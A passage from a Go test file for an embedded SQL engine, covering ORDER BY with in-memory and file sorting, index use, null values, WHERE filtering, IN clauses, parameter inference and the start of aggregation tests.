nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"title\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.True(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttitleRange := scanSpecs.rangesByColID[3]\n\t\trequire.NotNil(t, titleRange.lRange)\n\t\trequire.True(t, titleRange.lRange.inclusive)\n\t\trequire.Equal(t, \"title1\", titleRange.lRange.val.RawValue())\n\t\trequire.NotNil(t, titleRange.hRange)\n\t\trequire.True(t, titleRange.hRange.inclusive)\n\t\trequire.Equal(t, \"title1\", titleRange.hRange.val.RawValue())\n\n\t\trequire.True(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestExecCornerCases(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\ttx, _, err := engine.Exec(context.Background(), nil, \"INVALID STATEMENT\", nil)\n\trequire.ErrorIs(t, err, ErrParsingError)\n\trequire.EqualError(t, err, \"parsing error: syntax error: unexpected IDENTIFIER at position 7\")\n\trequire.Nil(t, tx)\n}\n\nfunc TestQueryWithNullables(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, ts TIMESTAMP, title VARCHAR, active BOOLEAN, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, ts, title) VALUES (1, TIME(), 'title1')\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\trowCount := 10\n\n\tstart := time.Now()\n\n\tfor i := 0; i < rowCount; i++ {\n\t\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(\"UPSERT INTO table1 (id, ts, title) VALUES (%d, NOW(), 'title%d')\", i, i), nil)\n\t\trequire.NoError(t, err)\n\t}\n\n\tr, err := engine.Query(context.Background(), nil, \"SELECT id, ts, title, active FROM table1 WHERE NOT(active != NULL)\", nil)\n\trequire.NoError(t, err)\n\n\tcols, err := r.Columns(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, cols, 4)\n\n\tfor i := 0; i < rowCount; i++ {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Len(t, row.ValuesBySelector, 4)\n\t\trequire.False(t, start.After(row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"ts\")].RawValue().(time.Time)))\n\t\trequire.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"id\")].RawValue())\n\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"title\")].RawValue())\n\t\trequire.Equal(t, &NullValue{t: BooleanType}, row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"active\")])\n\t}\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestOrderBy(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithSortBufferSize(1024))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`CREATE TABLE table1 (\n\t\t\tid INTEGER,\n\t\t\ttitle VARCHAR[100],\n\t\t\tage INTEGER,\n\t\t\theight FLOAT,\n\t\t\tweight FLOAT,\n\t\t\tcreated_at TIMESTAMP,\n\n\t\t\tPRIMARY KEY id\n\t\t)`,\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\t_, err = engine.Query(context.Background(), nil, \"SELECT id, title, age FROM table2 ORDER BY title\", nil)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, err = engine.Query(context.Background(), nil, \"SELECT id, title, age FROM table1 ORDER BY amount\", nil)\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\trng := rand.New(rand.NewSource(1))\n\n\trowCount := 100 + rng.Intn(engine.sortBufferSize-100) // [100, sortBufferSize]\n\n\tfor id := 1; id <= rowCount; id++ {\n\t\tr := rand.New(rand.NewSource(int64(id)))\n\n\t\tparams := map[string]interface{}{\n\t\t\t\"id\":      id,\n\t\t\t\"title\":   fmt.Sprintf(\"title%d\", r.Intn(100)),\n\t\t\t\"age\":     r.Intn(100),\n\t\t\t\"weight\":  50 + r.Float64()*50,\n\t\t\t\"height\":  r.Float64() * 200,\n\t\t\t\"created\": time.Unix(r.Int63n(100000), 0).UTC(),\n\t\t}\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, age, height, weight, created_at) VALUES (@id, @title, @age, @height, @weight, @created)\", params)\n\t\trequire.NoError(t, err)\n\t}\n\n\tcheckDataIntegrity := func(t *testing.T, rows []*Row, table string) {\n\t\trequire.Len(t, rows, rowCount)\n\n\t\tids := make(map[int64]struct{})\n\t\tfor _, row := range rows {\n\t\t\tid := row.ValuesBySelector[EncodeSelector(\"\", table, \"id\")].RawValue().(int64)\n\t\t\tr := rand.New(rand.NewSource(id))\n\n\t\t\ttitle := row.ValuesBySelector[EncodeSelector(\"\", table, \"title\")].RawValue().(string)\n\t\t\tage := row.ValuesBySelector[EncodeSelector(\"\", table, \"age\")].RawValue().(int64)\n\t\t\theight := row.ValuesBySelector[EncodeSelector(\"\", table, \"height\")].RawValue().(float64)\n\t\t\tweight := row.ValuesBySelector[EncodeSelector(\"\", table, \"weight\")].RawValue().(float64)\n\t\t\tcreated := row.ValuesBySelector[EncodeSelector(\"\", table, \"created_at\")].RawValue().(time.Time).UTC()\n\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", r.Intn(100)), title)\n\t\t\trequire.Equal(t, int64(r.Intn(100)), age)\n\t\t\trequire.Equal(t, 50+r.Float64()*50, weight)\n\t\t\trequire.Equal(t, r.Float64()*200, height)\n\t\t\trequire.Equal(t, time.Unix(r.Int63n(100000), 0).UTC(), created)\n\n\t\t\t_, exists := ids[id]\n\t\t\trequire.False(t, exists)\n\n\t\t\tids[id] = struct{}{}\n\t\t}\n\n\t\tfor id := 1; id <= rowCount; id++ {\n\t\t\t_, exists := ids[int64(id)]\n\t\t\trequire.True(t, exists)\n\t\t}\n\t}\n\n\ttype test struct {\n\t\texps           []string\n\t\tdirections     []int\n\t\texpectedIndex  []string\n\t\tpositionalRefs []int\n\t}\n\n\ttestCases := []test{\n\t\t{\n\t\t\texps:           []string{\"age\"},\n\t\t\tdirections:     []int{1},\n\t\t\tpositionalRefs: []int{3},\n\t\t},\n\t\t{\n\t\t\texps:           []string{\"created_at\"},\n\t\t\tdirections:     []int{-1},\n\t\t\tpositionalRefs: []int{6},\n\t\t},\n\t\t{\n\t\t\texps:           []string{\"title\", \"age\"},\n\t\t\tdirections:     []int{-1, 1},\n\t\t\tpositionalRefs: []int{2, 3},\n\t\t},\n\t\t{\n\t\t\texps:           []string{\"age\", \"title\", \"height\"},\n\t\t\tdirections:     []int{1, -1, 1},\n\t\t\tpositionalRefs: []int{3, 2, 4},\n\t\t},\n\t\t{\n\t\t\texps:       []string{\"weight/(height*height)\"},\n\t\t\tdirections: []int{1},\n\t\t},\n\t\t{\n\t\t\texps:           []string{\"height\", \"weight\"},\n\t\t\tdirections:     []int{1, -1},\n\t\t\tpositionalRefs: []int{4, 5},\n\t\t},\n\t\t{\n\t\t\texps:       []string{\"weight/(height*height)\"},\n\t\t\tdirections: []int{1},\n\t\t},\n\t}\n\n\trunTest := func(t *testing.T, test *test, expectedTempFiles int) []*Row {\n\t\torderByCols := make([]string, len(test.exps))\n\t\tfor i, col := range test.exps {\n\t\t\torderByCols[i] = col + \" \" + directionToSql(test.directions[i])\n\t\t}\n\n\t\treader, err := engine.Query(context.Background(), nil, fmt.Sprintf(\"SELECT * FROM table1 ORDER BY %s\", strings.Join(orderByCols, \",\")), nil)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, rowCount)\n\n\t\tspecs := reader.ScanSpecs()\n\n\t\tif test.expectedIndex != nil {\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.Len(t, specs.Index.cols, len(test.expectedIndex))\n\n\t\t\tfor i, col := range test.expectedIndex {\n\t\t\t\trequire.Equal(t, col, specs.Index.cols[i].Name())\n\t\t\t}\n\t\t} else {\n\t\t\trequire.Len(t, specs.orderBySortExps, len(orderByCols))\n\t\t\tfor i, col := range specs.orderBySortExps {\n\t\t\t\te, err := ParseExpFromString(test.exps[i])\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, e, col.exp)\n\t\t\t}\n\t\t}\n\n\t\tcheckRowsAreSorted(t, rows, test.exps, test.directions, \"table1\")\n\t\tcheckDataIntegrity(t, rows, \"table1\")\n\n\t\tif test.positionalRefs != nil {\n\t\t\torderByColPositions := make([]string, len(test.exps))\n\t\t\tfor i, ref := range test.positionalRefs {\n\t\t\t\torderByColPositions[i] = strconv.Itoa(ref) + \" \" + directionToSql(test.directions[i])\n\t\t\t}\n\n\t\t\trows1, err := engine.queryAll(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\tfmt.Sprintf(\"SELECT * FROM table1 ORDER BY %s\", strings.Join(orderByColPositions, \",\")),\n\t\t\t\tnil,\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, rows, rows1)\n\t\t}\n\n\t\ttx := reader.Tx()\n\t\trequire.Len(t, tx.tempFiles, expectedTempFiles)\n\n\t\treturn rows\n\t}\n\n\tfor _, test := range testCases {\n\t\tt.Run(fmt.Sprintf(\"order by on %s should be executed using in memory sort\", strings.Join(test.exps, \",\")), func(t *testing.T) {\n\t\t\trunTest(t, &test, 0)\n\t\t})\n\t}\n\n\tengine.sortBufferSize = 4 + rng.Intn(13) // [4, 16]\n\n\tfor _, test := range testCases {\n\t\tt.Run(fmt.Sprintf(\"order by on %s should be executed using file sort\", strings.Join(test.exps, \",\")), func(t *testing.T) {\n\t\t\trunTest(t, &test, 2)\n\t\t})\n\t}\n\n\tt.Run(\"order by on top of subquery\", func(t *testing.T) {\n\t\treader, err := engine.Query(context.Background(), nil, \"SELECT age FROM (SELECT id, title, age FROM table1 AS t1) ORDER BY age DESC\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, rowCount)\n\n\t\tcheckRowsAreSorted(t, rows, []string{EncodeSelector(\"\", \"t1\", \"age\")}, []int{-1}, \"t1\")\n\t})\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(age)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(title, age)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(age, title, height)\", nil)\n\trequire.NoError(t, err)\n\n\ttestCases = []test{\n\t\t{\n\t\t\texps:          []string{\"age\"},\n\t\t\tdirections:    []int{1},\n\t\t\texpectedIndex: []string{\"age\"},\n\t\t},\n\t\t{\n\t\t\texps:          []string{\"title\"},\n\t\t\tdirections:    []int{-1},\n\t\t\texpectedIndex: []string{\"title\", \"age\"},\n\t\t},\n\t\t{\n\t\t\texps:          []string{\"title\", \"age\"},\n\t\t\tdirections:    []int{1, 1},\n\t\t\texpectedIndex: []string{\"title\", \"age\"},\n\t\t},\n\t\t{\n\t\t\texps:          []string{\"age\", \"title\"},\n\t\t\tdirections:    []int{-1, -1, -1},\n\t\t\texpectedIndex: []string{\"age\", \"title\", \"height\"},\n\t\t},\n\t}\n\n\tfor _, test := range testCases {\n\t\tt.Run(fmt.Sprintf(\"order by on %s should be executed using index\", strings.Join(test.exps, \",\")), func(t *testing.T) {\n\t\t\trunTest(t, &test, 0)\n\t\t})\n\t}\n\n\tt.Run(\"order by with preferred index\", func(t *testing.T) {\n\t\tt.Run(\"sorting required\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 USE INDEX ON(title, age) ORDER BY title ASC, age DESC\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer reader.Close()\n\n\t\t\tspecs := reader.ScanSpecs()\n\n\t\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, rowCount)\n\n\t\t\trequire.Len(t, specs.orderBySortExps, 2)\n\t\t\trequire.Equal(t, EncodeSelector(specs.orderBySortExps[0].AsSelector().resolve(\"table1\")), EncodeSelector(\"\", \"table1\", \"title\"))\n\t\t\trequire.Equal(t, EncodeSelector(specs.orderBySortExps[1].AsSelector().resolve(\"table1\")), EncodeSelector(\"\", \"table1\", \"age\"))\n\n\t\t\tcheckRowsAreSorted(t, rows, []string{EncodeSelector(\"\", \"table1\", \"title\"), EncodeSelector(\"\", \"table1\", \"age\")}, []int{1, -1}, \"table1\")\n\t\t\tcheckDataIntegrity(t, rows, \"table1\")\n\t\t})\n\n\t\tt.Run(\"sorting not required\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 USE INDEX ON(title, age) ORDER BY title DESC, age DESC\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer reader.Close()\n\n\t\t\tspecs := reader.ScanSpecs()\n\n\t\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, rowCount)\n\t\t\trequire.Len(t, specs.orderBySortExps, 0)\n\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.Len(t, specs.Index.cols, 2)\n\n\t\t\trequire.Equal(t, \"title\", specs.Index.cols[0].Name())\n\t\t\trequire.Equal(t, \"age\", specs.Index.cols[1].Name())\n\n\t\t\tcheckRowsAreSorted(t, rows, []string{EncodeSelector(\"\", \"table1\", \"title\"), EncodeSelector(\"\", \"table1\", \"age\")}, []int{-1, -1}, \"table1\")\n\t\t\tcheckDataIntegrity(t, rows, \"table1\")\n\t\t})\n\t})\n\n\tnullValues := 1 + rng.Intn(10)\n\tfor i := 1; i <= nullValues; i++ {\n\t\tparams := map[string]interface{}{\n\t\t\t\"id\":      rowCount + i,\n\t\t\t\"title\":   nil,\n\t\t\t\"age\":     nil,\n\t\t\t\"height\":  nil,\n\t\t\t\"created\": nil,\n\t\t}\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, age, height, created_at) VALUES (@id, @title, @age, @height, @created)\", params)\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"order by with null values\", func(t *testing.T) {\n\t\treader, err := engine.Query(context.Background(), nil, \"SELECT id, title, age, height, weight, created_at FROM table1 ORDER BY title, id\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, rowCount+nullValues)\n\n\t\tfor i := 1; i <= nullValues; i++ {\n\t\t\trow := rows[i-1]\n\t\t\trequire.Equal(t, row.ValuesByPosition[0].RawValue(), int64(i+rowCount))\n\n\t\t\tfor _, v := range row.ValuesByPosition[1:] {\n\t\t\t\trequire.Nil(t, v.RawValue())\n\t\t\t}\n\t\t}\n\n\t\ttx := reader.Tx()\n\t\trequire.Len(t, tx.tempFiles, 2)\n\n\t\tcheckRowsAreSorted(t, rows, []string{EncodeSelector(\"\", \"table1\", \"title\"), EncodeSelector(\"\", \"table1\", \"id\")}, []int{1, 1}, \"table1\")\n\t\tcheckDataIntegrity(t, rows[nullValues:], \"table1\")\n\t})\n}\n\nfunc directionToSql(direction int) string {\n\tif direction == 1 {\n\t\treturn \"ASC\"\n\t}\n\treturn \"DESC\"\n}\n\nfunc checkRowsAreSorted(t *testing.T, rows []*Row, expStrings []string, directions []int, table string) {\n\texps := make([]ValueExp, len(expStrings))\n\tfor i, s := range expStrings {\n\t\te, err := ParseExpFromString(s)\n\t\trequire.NoError(t, err)\n\t\texps[i] = e\n\t}\n\n\tk1 := make(Tuple, len(exps))\n\tk2 := make(Tuple, len(exps))\n\n\tisSorted := sort.SliceIsSorted(rows, func(i, j int) bool {\n\t\tfor idx, e := range exps {\n\t\t\tv1, err := e.reduce(nil, rows[i], table)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tv2, err := e.reduce(nil, rows[j], table)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tk1[idx] = v1\n\t\t\tk2[idx] = v2\n\t\t}\n\n\t\tres, idx, err := Tuple(k1).Compare(k2)\n\t\trequire.NoError(t, err)\n\n\t\tif idx >= 0 {\n\t\t\treturn res*directions[idx] < 0\n\t\t}\n\t\treturn false\n\t})\n\trequire.True(t, isSorted)\n}\n\nfunc TestQueryWithRowFiltering(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\trowCount := 10\n\n\tfor i := 0; i < rowCount; i++ {\n\t\tencPayload := hex.EncodeToString([]byte(fmt.Sprintf(\"blob%d\", i)))\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\tfmt.Sprintf(`\n\t\t\tUPSERT INTO table1 (id, title, active, payload) VALUES (%d, 'title%d', %v, x'%s')\n\t\t`, i, i, i%2 == 0, encPayload), nil)\n\t\trequire.NoError(t, err)\n\t}\n\n\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE false\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE false OR true\", nil)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < rowCount; i++ {\n\t\t_, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE 1 < 2\", nil)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < rowCount; i++ {\n\t\t_, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE 1 >= 2\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE 1 = true\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE NOT table1.active\", nil)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < rowCount/2; i++ {\n\t\t_, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE table1.id > 4\", nil)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < rowCount/2; i++ {\n\t\t_, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(\"UPSERT INTO table1 (id, title) VALUES (%d, 'title%d')\", rowCount, rowCount), nil)\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title FROM table1 WHERE active = null AND payload = null\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.NoError(t, err)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title FROM table1 WHERE active = null AND payload = null AND active = payload\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestQueryWithInClause(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR[50], active BOOLEAN, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\trowCount := 10\n\n\tfor i := 0; i < rowCount; i++ {\n\t\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(`\n\t\t\tINSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v)\n\t\t`, i, i, i%2 == 0), nil)\n\t\trequire.NoError(t, err)\n\t}\n\n\tinListExp := &InListExp{}\n\trequire.False(t, inListExp.isConstant())\n\n\tt.Run(\"infer parameters without parameters should return an empty list\", func(t *testing.T) {\n\t\tparams, err := engine.InferParameters(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE title IN ('title0', 'title1') ORDER BY title\")\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, params)\n\t})\n\n\tt.Run(\"infer inference with wrong types should return an error\", func(t *testing.T) {\n\t\t_, err := engine.InferParameters(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE 100 + title IN ('title0', 'title1')\")\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\t})\n\n\tt.Run(\"infer inference with valid types should succeed\", func(t *testing.T) {\n\t\tparams, err := engine.InferParameters(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE active AND title IN ('title0', 'title1')\")\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, params)\n\t})\n\n\tt.Run(\"infer parameters should return matching type\", func(t *testing.T) {\n\t\tparams, err := engine.InferParameters(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE title IN (@param0, @param1)\")\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, params, 2)\n\t\trequire.Equal(t, VarcharType, params[\"param0\"])\n\t\trequire.Equal(t, VarcharType, params[\"param1\"])\n\t})\n\n\tt.Run(\"infer parameters with type conflicts should return an error\", func(t *testing.T) {\n\t\t_, err := engine.InferParameters(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE active = @param1 and title IN (@param0, @param1)\")\n\t\trequire.ErrorIs(t, err, ErrInferredMultipleTypes)\n\t})\n\n\tt.Run(\"infer parameters with unexistent column should return an error\", func(t *testing.T) {\n\t\t_, err := engine.InferParameters(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE invalidColumn IN ('title1', 'title2')\")\n\t\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\t})\n\n\tt.Run(\"in clause with invalid column should return an error\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE invalidColumn IN (1, 2)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"in clause with invalid type should return an error\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE title IN (1, 2)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"in clause should succeed reading two rows\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE title IN ('title0', 'title1')\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < 2; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"title\")].RawValue())\n\t\t}\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"in clause with invalid values should return an error\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE title IN ('title0', true + 'title1')\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"in clause should succeed reading rows NOT included in 'IN' clause\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE title NOT IN ('title1', 'title0')\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 2; i < rowCount; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"title\")].RawValue())\n\t\t}\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"in clause should succeed reading using 'IN' clause in join condition\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 as t1 INNER JOIN table1 as t2 ON t1.title IN (t2.title) ORDER BY title\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < rowCount; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[EncodeSelector(\"\", \"t1\", \"title\")].RawValue())\n\t\t}\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestAggregations(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`\n\t\tCREATE TABLE table1 (\n\t\t\tid INTEGER,\n\t\t\ttitle VARCHAR,\n\t\t\tage INTEGER,\n\t\t\tactive BOOLEAN,\n\t\t\tpayload BLOB,\n\t\t\tPRIMARY KEY(id)\n\t\t)\n\t\t`,\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(age)\", nil)\n\trequire.NoError(t, err)\n\n\trowCount := 10\n\tbase := 30\n\n\tnullRows := map[int]bool{\n\t\t3: true,\n\t\t5: true,\n\t\t6: true,\n\t}\n\n\tageSum := 0\n\n\tfor i := 1; i <= rowCount; i++ {\n\t\tparams := make(map[string]interface{}, 3)\n\n\t\tparams[\"id\"] = i\n\t\tparams[\"title\"] = fmt.Sprintf(\"title%d\", i)\n\t\tif _, setToNull := nullRows[i]; setToNull {\n\t\t\tparams[\"age\"] = nil\n\t\t} else {\n\t\t\tparams[\"age\"] = base + i\n\t\t\tageSum += base + i\n\t\t}\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, age) VALUES (@id, @title, @age)\", params)\n\t\trequire.NoError(t, err)\n\t}\n\n\tr, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*) FROM table1 WHERE id < i\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id FROM table1 WHERE false\", nil)\n\trequire.NoError(t, err)\n\n\trow, err := r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\trequire.Nil(t, row)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, `\n\t\tSELECT COUNT(*), SUM(age), MIN(title), MAX(age), AVG(age), MIN(active), MAX(active), MIN(payload)\n\t\tFROM 